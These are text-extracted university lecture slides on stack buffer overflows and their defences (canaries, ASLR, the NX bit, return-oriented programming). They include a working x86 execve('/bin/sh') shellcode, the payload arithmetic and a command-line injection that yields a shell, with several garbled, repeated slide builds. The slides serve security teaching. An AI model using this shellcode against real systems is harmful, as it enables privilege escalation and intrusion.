The circle of life!

- Vulnerabilities → attacks → patches → new attacks
The circle of life!
- Vulnerabilities $\rightarrow$ attacks $\rightarrow$ patches $\rightarrow$ new attacks

Stack buffer overflow
- Stack smashing, privilege escalation, remote callbacks
- Canaries
The circle of life!
  - Vulnerabilities $\rightarrow$ attacks $\rightarrow$ patches $\rightarrow$ new attacks

Stack buffer overflow
  - Stack smashing, privilege escalation, remote callbacks
  - Canaries

Address space layout randomization (ASLR)
  - NOP slides
Overview

- The circle of life!
  - Vulnerabilities $\rightarrow$ attacks $\rightarrow$ patches $\rightarrow$ new attacks
- Stack buffer overflow
  - Stack smashing, privilege escalation, remote callbacks
  - Canaries
- Address space layout randomization (ASLR)
  - NOP slides
- Executable space protection (NX bit)
  - Return-oriented programming (ROP)
Overview

- The circle of life!
  - Vulnerabilities → attacks → patches → new attacks
- Stack buffer overflow
  - Stack smashing, privilege escalation, remote callbacks
  - Canaries
- Address space layout randomization (ASLR)
  - NOP slides
- Executable space protection (NX bit)
  - Return-oriented programming (ROP)
- Along the way...
  - Intro to x86
  - System calls
Credit where credit is due

Much of this lecture is inspired by content from **CS 461/ECE 422 (Introduction to Computer Security)**\(^1\) taught by Professor Michael Bailey.

Highly recommended if this topic interests you.

\(^1\text{https://courses.engr.illinois.edu/cs461/}\)
Compatibility note

- Exploits rely on architecture- and OS-specific features
- Examples intended for the regular CS 241 VMs (x86-64 Linux) with GCC, but should work on most Linux machines (with a few caveats)
Exploits rely on architecture- and OS-specific features

Examples intended for the regular CS 241 VMs (x86-64 Linux) with GCC, but should work on most Linux machines (with a few caveats)

We’ll be compiling 32-bit code to make some things easier

  Requires a special compiler flag: gcc -m32
Exploits rely on architecture- and OS-specific features

Examples intended for the regular CS 241 VMs (x86-64 Linux) with GCC, but should work on most Linux machines (with a few caveats)

We’ll be compiling 32-bit code to make some things easier

- Requires a special compiler flag: gcc -m32
- On VMs, you may need to install the 32-bit GNU C library: sudo apt install libc6-dev-i386
Stack smashing
But first, let’s talk about bugs in your code...
greeting.c: some bad code

```c
void greeting(const char *name) {
  char buf[32];
  strcpy(buf, name);
  printf("Hello, %s!\n", buf);
}

int main(int argc, char *argv[]) {
  if (argc < 2)
    return 1;
  return 0;
}
```

What's wrong with it?

Assumption: user won't use our code in a way we didn't intend

oh, they will...

Ben Kurtovic (UIUC)  
CS 241 Honors: Security  
February 7, 2017 7 / 44
greeting.c: some bad code

```c
void greeting(const char *name) {
    char buf[32];
    strcpy(buf, name);
    printf("Hello, %s!\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc < 2)
        return 1;
    greeting(argv[1]);
    return 0;
}
```

What’s wrong with it?
void greeting(const char *name) {
    char buf[32];
    strcpy(buf, name);
    printf("Hello, %s!\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc < 2)
        return 1;
    greeting(argv[1]);
    return 0;
}

What’s wrong with it?
Assumption: user won’t use our code in a way we didn’t intend
greeting.c: some bad code

```c
void greeting(const char *name) {
    char buf[32];
    strcpy(buf, name);
    printf("Hello, %s!\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc < 2)
        return 1;
    greeting(argv[1]);
    return 0;
}
```

What’s wrong with it?
Assumption: user won’t use our code in a way we didn’t intend

oh, they will...
greeting.c: demonstration

$ ./greeting John
Hello, John!
$ ./greeting John
Hello, John!
$ ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello, JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault
greeting.c: demonstration

$ ./greeting John
Hello, John!
$ ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Hello, JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault

Okay, but why does it segfault?
$ gdb --quiet --args ./greeting John
Reading symbols from ./greeting...
done.
(gdb) run
Starting program: ./greeting John
Hello, John!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
$ gdb --quiet --args ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Reading symbols from ./greeting...done.
(gdb) run
Starting program: ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Hello, JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

- Our program crashed trying to execute code at memory address 0x41414141! (Hint: the ASCII value of 'A' is 0x41.)
greeting.c: our best friend, gdb

$ gdb --quiet --args ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

Reading symbols from ./greeting...done.

(gdb) run
Starting program: ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Hello, JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

- Our program crashed trying to execute code at memory address 0x41414141! (Hint: the ASCII value of 'A' is 0x41.)
- To understand why, we need to take a closer look at x86...
x86 crash course
Most assembly languages are similar (hope you remember MIPS!)

- Simple sequence of instructions with only basic control flow
- *Little*-endian (least significant byte in lowest address)
Most assembly languages are similar (hope you remember MIPS!)

Simple sequence of instructions with only basic control flow

Little-endian (least significant byte in lowest address)

Highly backward-compatible

Rough history:
- 1974: Intel 8080 microprocessor (8-bit)
- 1978: 8086 (16-bit)
- 1985: i386 (32-bit) → x86 ISA
- 2003: x86-64 ISA (64-bit)
Two key aspects:
Two key aspects:

Registers
- General-purpose
  - eax
  - ebx
  - ecx
  - edx
Two key aspects:

**Registers**

- General-purpose
  - eax
  - ebx
  - ecx
  - edx

- Program counter
  - eip
Two key aspects:

**Registers**
- General-purpose
  - eax
  - ebx
  - ecx
  - edx
- Program counter
  - eip
- Stack/base pointer
  - esp
  - ebp
Two key aspects:

Registers

- General-purpose
  - eax
  - ebx
  - ecx
  - edx
- Program counter
  - eip
- Stack/base pointer
  - esp
  - ebp
- And many more...
Two key aspects:

**Registers**
- General-purpose:
  - eax
  - ebx
  - ecx
  - edx
- Program counter:
  - eip
- Stack/base pointer:
  - esp
  - ebp
- And many more...

**Stack layout**
- Previous frame
- Current frame
- Higher addresses
- Lower addresses
- ebp
- esp
MIPS

\[
\begin{align*}
\text{sub} & \quad \text{\$sp, \$sp, 12} \\
\text{...} & \\
\text{sw} & \quad \text{\$t0, 8(\$sp)} \\
\text{sw} & \quad \text{\$t1, 4(\$sp)} \\
\text{sw} & \quad \text{\$t2, 0(\$sp)} \\
\text{...} & \\
\text{add} & \quad \text{\$sp, \$sp, 12}
\end{align*}
\]
**MIPS**

- `sub $sp, $sp, 12`
- ...  
- `sw $t0, 8($sp)`
- `sw $t1, 4($sp)`
- `sw $t2, 0($sp)`
- ...  
- `add $sp, $sp, 12`

**x86**

- `enter`
- ...  
- `push %eax`
- `push %ebx`
- `push %ecx`
- ...  
- `leave`
x86 crash course: function calls

```c
foobar(10, 11, 12);
```
```plaintext
<table>
<thead>
<tr>
<th>MIPS</th>
<th>x86</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>addi $a0, $zero, 10</code></td>
<td><code>push $12</code></td>
</tr>
<tr>
<td><code>addi $a1, $zero, 11</code></td>
<td><code>push $11</code></td>
</tr>
<tr>
<td><code>addi $a2, $zero, 12</code></td>
<td><code>push $10</code></td>
</tr>
<tr>
<td><code>jal foobar</code></td>
<td><code>call foobar</code></td>
</tr>
</tbody>
</table>

```
main:
  ...
  push   $12
  push   $11
  push   $10
  call   foobar
  ...

foobar:
  enter
  ...
  leave
  ret
main:

... push  $12
push  $11
push  $10
call  foobar
...

foobar:
enter
...
leave
ret
main:

... push $12 push $11 push $10 call foobar ...

foobar:

enter ...

leave ret
main:
  ...
  push  $12
  push  $11
  push  $10
  call  foobar
  ...

foobar:
  enter
  ...
  leave
  ret
main:
  ...
  push $12
  push $11
  push $10
  call foobar
  ...

foobar:
  enter
  ...
  leave
  ret
main:
  ...
  push $12
  push $11
  push $10
  call foobar
  ...

foobar:
  enter
  ...
  leave
  ret

Ben Kurtovic (UIUC)
CS 241 Honors: Security
February 7, 2017 15 / 44
main:
  ...
  push $12
  push $11
  push $10
  call foobar
  ...

foobar:
  enter
  ...
  leave
  ret
main:
  ...
  push $12
  push $11
  push $10
  call foobar
  ...

foobar:
  enter
  ...
leave
ret
main:
  ...
  push $12
  push $11
  push $10
  call foobar
  ...

foobar:
  enter
  ...
  leave
  ret
Now back to greeting.c

```c
void greeting(const char *name) {
    char buf[32];
    strcpy(buf, name);
    printf("Hello, %s!\n", buf);
}
```

$ ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Now back to greeting.c

```c
void greeting(const char *name) {
    char buf[32];
    strcpy(buf, name);
    printf("Hello, %s!\n", buf);
}
```

```
$ ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

- `strcpy` is overwriting the return address from `greeting` to `main` with "AAAA" (0x414141)
- 0x414141 is (probably) not a mapped address, so we crash
Now back to greeting.c

```c
void greeting(const char *name) {
    char buf[32];
    strcpy(buf, name);
    printf("Hello, %s!\n", buf);
}
```

```
$ ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

- `strcpy` is overwiting the return address from `greeting` to `main` with "AAAA" (0x414141)
- 0x414141 is (probably) not a mapped address, so we crash
- Okay... so what? How is this useful?
Plan of attack

- We can overwrite the return address with *anything* we want
- We can jump to any part of the program, but...
Plan of attack

- We can overwrite the return address with *anything* we want
- We can jump to any part of the program, but...
- Since we control `buf`, we can inject our own code and jump to it!
Plan of attack (2)

```
main
  ...
  ...
  argv[1]
  <return addr>
  <old ebp>
  ...
  buf
  ...

espère → esp

ebp → ebp
```
What code do we run?

---

2https://en.wikipedia.org/wiki/Shellcode
**Payload**

- What code do we run?
- Anything we want: just compile it to x86 beforehand and copy the instructions

---

2https://en.wikipedia.org/wiki/Shellcode
What code do we run?

Anything we want: just compile it to x86 beforehand and copy the instructions

Stereotypical payload: "shellcode"\(^2\), a short piece of code that just starts a shell:

\[
\texttt{execve("/bin/sh", \{"/bin/sh", NULL\}, NULL);}\]

\(^2\)https://en.wikipedia.org/wiki/Shellcode
Payload

- What code do we run?
- Anything we want: just compile it to x86 beforehand and copy the instructions
- Stereotypical payload: "shellcode\(^2\), a short piece of code that just starts a shell:

  ```c
  execve("/bin/sh", {"/bin/sh", NULL}, NULL);
  ```

1. Why do we use `execve` instead of `execvp`?
2. Why is this a useful exploit?

---

\(^2\)https://en.wikipedia.org/wiki/Shellcode
What code do we run?

Anything we want: just compile it to x86 beforehand and copy the instructions

Stereotypical payload: "shellcode", a short piece of code that just starts a shell:

```c
execve("/bin/sh", {"/bin/sh", NULL }, NULL);
```

1. Why do we use execve instead of execvp?
2. Why is this a useful exploit?

We’ll talk about more advanced exploits later...

---

Shellcode

```c
execve("/bin/sh", {"/bin/sh", NULL}, NULL);
```

Our payload:\(^3\)

```assembly
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
mov $0xb, %al
int $0x80
```

Shellcode

\[ \text{execve}("/bin/sh", \{"/bin/sh", \text{NULL}\}, \text{NULL}); \]

Our payload:\(^3\)

\begin{verbatim}
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
mov $0xb, %al
int $0x80
\end{verbatim}

\(^3\)http://shell-storm.org/shellcode/files/shellcode-827.php
We have our shellcode, so the whole payload will be: 
\[ \text{shellcode} + \text{padding} + \text{code address} \]

We need padding for our code address to be in the right spot to replace the old return address
We have our shellcode, so the whole payload will be:

\[ \text{shellcode} + \text{padding} + \text{code address} \]

We need padding for our code address to be in the right spot to replace the old return address.

So we need to find the address of buf so we can calculate the new return address.
We have our shellcode, so the whole payload will be:

\[ \text{shellcode} + \text{padding} + \text{code address} \]

We need padding for our \textit{code address} to be in the right spot to replace the old \textit{return address}

So we need to find the address of \texttt{buf} so we can calculate the new return address

\textbf{Whaaat?}

This is a little tedious, so I'll abridge it
We have our shellcode, so the whole payload will be:

\[ \text{shellcode} + \text{padding} + \text{code address} \]

We need padding for our code address to be in the right spot to replace the old return address.

So we need to find the address of buf so we can calculate the new return address.

**Whaaat?**

This is a little tedious, so I’ll abridge it.

- By disassembling greeting in gdb, we find that buf is 40 bytes below the base pointer.
- Since our shellcode is 23 bytes long, we need \(40 - 23 + 4 = 21\) bytes of padding.
- By setting breakpoints in gdb, we find that &buf is 0xffffd5d0.
Final shellcode

Putting everything together, we get:

```
31 c0 50 68
2f 2f 73 68
68 2f 62 69
6e 89 e3 50
53 89 e1 b0
0b cd 80 ff
ff ff ff ff
ff ff ff ff
ff ff ff ff
ff ff ff ff
ff ff ff ff
ff ff ff ff
ff ff ff ff
d0 d5 ff ff
```
Since the ASCII values in our shellcode aren’t normal characters, we can’t type them directly.

We’ll use Python to feed them to ./greeting.
Using Python

- Since the ASCII values in our shellcode aren’t normal characters, we can’t type them directly
- We’ll use Python to feed them to ./greeting

$ ./greeting John
Hello, John!
$ ./greeting $(python -c "print 'John'")
Hello, John!
The grand finale

```
$ ./greeting $(python -c "print ’\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x0d\xe5\xff\xff\xff\xff’")
```
The grand finale

$ ./greeting $(python -c "print 'x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'")

Hello, 1?Ph//shh/bin??PS??

??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
The grand finale

$ ./greeting $(python -c "print ’\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff’)"

Hello, 1?Ph//shh/bin??PS??

????????????????????????????????????

sh-4.1$ pwd
/home/kurtovc2
sh-4.1$
So what?

- Okay, so we can run code we wrote using other code that we control on a computer that we control. How is this significant?
So what?

Okay, so we can run code we wrote using other code that we control on a computer that we control. How is this significant?

Two interesting exploits:

1. Users we don’t control
2. Computers we don’t control
Users we don’t control: setuid

- File permission flag that runs a program as the executable’s owner rather than the current user
- Why would we want this?

---

Ben Kurtovic (UIUC)  CS 241 Honors: Security  February 7, 2017  26 / 44
Users we don’t control: setuid

- File permission flag that runs a program as the executable’s owner rather than the current user
- Why would we want this?
- Some normal programs need special privileges...

[kurtovc2@linux-a2 ~]$ ls -l /usr/bin/sudo
---s--x--x. 1 root root 123832 Aug 13 2015 /usr/bin/sudo

[kurtovc2@linux-a2 ~]$ ls -l /bin/ping
-rwsr-xr-x. 1 root root 38200 Jul 22 2015 /bin/ping
Users we don’t control: setuid

- File permission flag that runs a program as the executable’s owner rather than the current user
- Why would we want this?
- Some normal programs need special privileges...

```bash
[kurtovic2@linux-a2 ~]$ ls -l /usr/bin/sudo
---s--x--x. 1 root root 123832 Aug 13 2015 /usr/bin/sudo
[kurtovic2@linux-a2 ~]$ ls -l /bin/ping
-rwsr-xr-x. 1 root root 38200 Jul 22 2015 /bin/ping
```

If one of these had a bug and we used our shellcode on it, we'd become root!

http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vulnerability.html
Users we don’t control: setuid

- File permission flag that runs a program as the executable’s owner rather than the current user
- Why would we want this?
- Some normal programs need special privileges...

[kurtovc2@linux-a2 ~]$ ls -l /usr/bin/sudo
---s--x--x. 1 root root 123832 Aug 13 2015 /usr/bin/sudo

[kurtovc2@linux-a2 ~]$ ls -l /bin/ping
-rwsr-xr-x. 1 root root 38200 Jul 22 2015 /bin/ping

- If one these had a bug and we used our shellcode on it, we’d become root!⁴

⁴http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vulnerability.html
Web servers accept tons of input from untrusted sources

If we could exploit a stack overflow, we can run any code we want on a computer we can’t log in to—steal passwords, read databases
Web servers accept tons of input from untrusted sources

If we could exploit a stack overflow, we can run any code we want on a computer we can’t log in to—steal passwords, read databases

Need to modify our shellcode to open a network socket, since we aren’t accessing the machine directly
  
  "Callback shell"
Solution

- Use `strncpy`, not `strcpy`, on untrusted user input!
  - Remember to null terminate. *Not* necessarily done for you.
Solution

- Use `strncpy`, not `strcpy`, on untrusted user input!
  - Remember to null terminate. *Not* necessarily done for you.
- Other functions to watch: `strcat`, `sprintf`, `gets`
  - Use `strncat`, `snprintf`, `fgets` or `getline`
Use \texttt{strncpy}, not \texttt{strcpy}, on untrusted user input!
- Remember to null terminate. \textit{Not} necessarily done for you.

Other functions to watch: \texttt{strcat}, \texttt{sprintf}, \texttt{gets}
- Use \texttt{strncat}, \texttt{snprintf}, \texttt{fgets} or \texttt{getline}

But no one’s perfect...
Stack canaries
Stack canaries

- Simple defense mechanism against stack smashing
- Place a magic, unknown value at the beginning of the stack frame
- Check memory address at end of function
- If value has changed, stack overflow has occurred

![Diagram of stack canaries with ebp and esp labels]
Stack canaries

- Simple defense mechanism against stack smashing
- Place a magic, unknown value at the beginning of the stack frame
- Check memory address at end of function
- If value has changed, stack overflow has occurred
Stack canaries: example

$ gcc -m32 -fstack-protector greeting.c -o greeting
$

Stack canaries: example

$ gcc -m32 -fstack-protector greeting.c -o greeting
$ ./greeting JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello, JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
*** stack smashing detected ***: ./greeting terminated

Aborted
Not enabled by default until gcc 4.8.3
- Can disable with gcc -fno-stack-protector
Stack canaries: limitations

- Not enabled by default until gcc 4.8.3
  - Can disable with gcc -fno-stack-protector
- (Minor) performance overhead: larger stack, need to write and read value every time a function is called
Stack canaries: limitations

- Not enabled by default until gcc 4.8.3
  - Can disable with gcc -fno-stack-protector
- (Minor) performance overhead: larger stack, need to write and read value every time a function is called
- Not usually enabled for every function, just the ones likely to be exploited
Stack canaries: limitations

- Not enabled by default until gcc 4.8.3
  - Can disable with gcc -fno-stack-protector
- (Minor) performance overhead: larger stack, need to write and read value every time a function is called
- Not usually enabled for every function, just the ones likely to be exploited
- Can still overflow function pointers
Stack canaries: limitations

- Not enabled by default until gcc 4.8.3
  - Can disable with gcc -fno-stack-protector
- (Minor) performance overhead: larger stack, need to write and read value every time a function is called
- Not usually enabled for every function, just the ones likely to be exploited
- Can still overflow function pointers
- In theory, could try to guess; you have a $\frac{1}{2^{32}}$ chance of being right
Address space layout randomization
- Buffer overflow relies on knowing the address of some part of our stack so we can jump to it
- Add random offsets to stack (and heap) so we can’t predict its addresses
Buffer overflow relies on knowing the address of some part of our stack so we can jump to it.

Add random offsets to stack (and heap) so we can’t predict its addresses.

Enabled by default on the Linux kernel since 2005.

```bash
[kurtovc2@linux-a2 ~]$ cat /proc/sys/kernel/randomize_va_space
2
```
ASLR: example

```c
int main () {
    int x;
    printf("%p\n", &x);
    return 0;
}
```

**EWS**

[kurtovc2@linux-a2 ~]$ cat
   /proc/.../randomize_va_space
2
[kurtovc2@linux-a2 ~]$ ./aslr
0xffed490c
[kurtovc2@linux-a2 ~]$ ./aslr
0xfff5bf0c
[kurtovc2@linux-a2 ~]$ ./aslr
0xffbf024c
ASLR: example

```c
int main() {
    int x;
    printf("%p\n", &x);
    return 0;
}
```

**EWS**

<table>
<thead>
<tr>
<th>[kurtovc2@linux-a2 ~]$ cat /proc/*/randomize_va_space</th>
<th>2</th>
</tr>
</thead>
</table>

| [kurtovc2@linux-a2 ~]$ ./aslr 0xffed490c |
|-------------------------------------------------------|---|

| [kurtovc2@linux-a2 ~]$ ./aslr 0xfff5bf0c |
|-------------------------------------------------------|---|

| [kurtovc2@linux-a2 ~]$ ./aslr 0xffbf024c |
|-------------------------------------------------------|---|

**Test VM**

<table>
<thead>
<tr>
<th>ubuntu@ubuntu:~$ cat /proc/*/randomize_va_space</th>
<th>0</th>
</tr>
</thead>
</table>

| ubuntu@ubuntu:~$ ./aslr 0xbffff39c |
|-------------------------------------------------------|---|

| ubuntu@ubuntu:~$ ./aslr 0xbffff39c |
|-------------------------------------------------------|---|

| ubuntu@ubuntu:~$ ./aslr 0xbffff39c |
|-------------------------------------------------------|---|
ASLR: limitations

- In practice, the amount of randomness (entropy) can be quite low
  - Range 0xff800000 → 0xffff0000 (approx)
  - Around $2^{21}$ possible values—we can probably brute force
In practice, the amount of randomness (entropy) can be quite low:
- Range 0xffffffff → 0xffffffff (approx)
- Around $2^{21}$ possible values—we can probably brute force

**NOP slide**
- **NOP**: assembly instruction that does nothing
- In x86: 0x90
In practice, the amount of randomness (entropy) can be quite low
- Range 0xffffffff → 0xffffffff (approx)
- Around $2^{21}$ possible values—we can probably brute force

**NOP slide**
- **NOP**: assembly instruction that does nothing
- In x86: 0x90
- Prepend our shellcode with a few (hundred) thousand NOPs
- Dramatically increase chance that we jump to a valid part of the code
ASLR: limitations

- In practice, the amount of randomness (entropy) can be quite low
  - Range 0xffffffff → 0xffffffff (approx)
  - Around $2^{21}$ possible values—we can probably brute force

- **NOP slide**
  - **NOP**: assembly instruction that does nothing
  - In x86: 0x90
  - Prepend our shellcode with a few (hundred) thousand NOPs
  - Dramatically increase chance that we jump to a valid part of the code

- Not everything is randomized (e.g. code segment)
In practice, the amount of randomness (entropy) can be quite low
- Range \(0xff800000 \rightarrow 0xfffff0000\) (approx)
- Around \(2^{21}\) possible values—we can probably brute force

**NOP slide**
- **NOP**: assembly instruction that does nothing
- In x86: \(0x90\)
- Prepend our shellcode with a few (hundred) thousand NOPs
- Dramatically increase chance that we jump to a valid part of the code

Not everything is randomized (e.g. code segment)
Executable space protection
NX bit

- Concept: separation of data from code
- Set a special bit in the page table for a memory block
  - If 1, then we won’t let the CPU execute instructions in that block
- If the program counter `eip` enters a data block, we segfault
Concept: separation of data from code
Set a special bit in the page table for a memory block
  If 1, then we won’t let the CPU execute instructions in that block
If the program counter \texttt{eip} enters a data block, we segfault
Enabled by default in \texttt{gcc}—disable with \texttt{gcc -z execstack}
  A legitimate reasons to disable: self-modifying code, usually for optimization
Concept: separation of data from code
Set a special bit in the page table for a memory block
    - If 1, then we won’t let the CPU execute instructions in that block
If the program counter \texttt{eip} enters a data block, we segfault
Enabled by default in \texttt{gcc}—disable with \texttt{gcc -z execstack}
    - A legitimate reasons to disable: self-modifying code, usually for optimization

What can we do now?
Return-oriented programming (ROP)

- We can still smash our return address, but we can’t run our own code
- Chain together sequences of existing code to do unexpected things
Return-oriented programming (ROP)

- We can still smash our return address, but we can’t run our own code
- Chain together sequences of existing code to do unexpected things

```c
void printdate() {
    system("date");
}

void greeting(const char * name) {
    char buf[32];
    strcpy(buf, name);
    printf("Hello, %s!\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc < 2) return 1;
    printdate();
greeting(argv[1]);
    return 0;
}
void printdate() {
    system("date");
}

(gdb) disas printdate
Dump of assembler code for function printdate:
  0x08048424 <+0>:    push    %ebp
  0x08048425 <+1>:    mov     %esp,%ebp
  0x08048427 <+3>:    sub     $0x18,%esp
  0x0804842a <+6>:    movl    $0x8048564,(%esp)
  0x08048431 <+13>:   call    0x8048324 <system@plt>
  0x08048436 <+18>:   leave
  0x08048437 <+19>:   ret
End of assembler dump.
void printdate() {
    system("date");
}

(gdb) disas printdate
Dump of assembler code for function printdate:
 0x08048424 <+0>:  push   %ebp
 0x08048425 <+1>:  mov    %esp,%ebp
 0x08048427 <+3>:  sub    $0x18,%esp
 0x0804842a <+6>:  movl   $0x8048564,(%esp)
 0x08048431 <+13>: call   0x8048324 <system@plt>
 0x08048436 <+18>: leave
 0x08048437 <+19>: ret
End of assembler dump.

If we jump into the middle of the function (address 0x08048431), we will call system on whatever happens to be on the stack
Return-to-libc attack

- Return-oriented programming using libc functions
- Everything uses libc, so we can count on compatibility
- *Gadgets*: parts of the ends of functions—chain them together
Everything in practice

- Combined with ASLR, the NX bit makes stack exploits *extremely* difficult (or nearly impossible)
  - We can still try to brute force on 32-bit, but 64-bit is infeasible
Combined with ASLR, the NX bit makes stack exploits extremely difficult (or nearly impossible).

- We can still try to brute force on 32-bit, but 64-bit is infeasible.

Not all hope is lost: new, buggy software is constantly being written.

- …and hardware, too.

Esoteric combinations of multiple exploits.
Learn more

- Take **CS 461/ECE 422**
- Plenty of resources online
Thank you! Questions?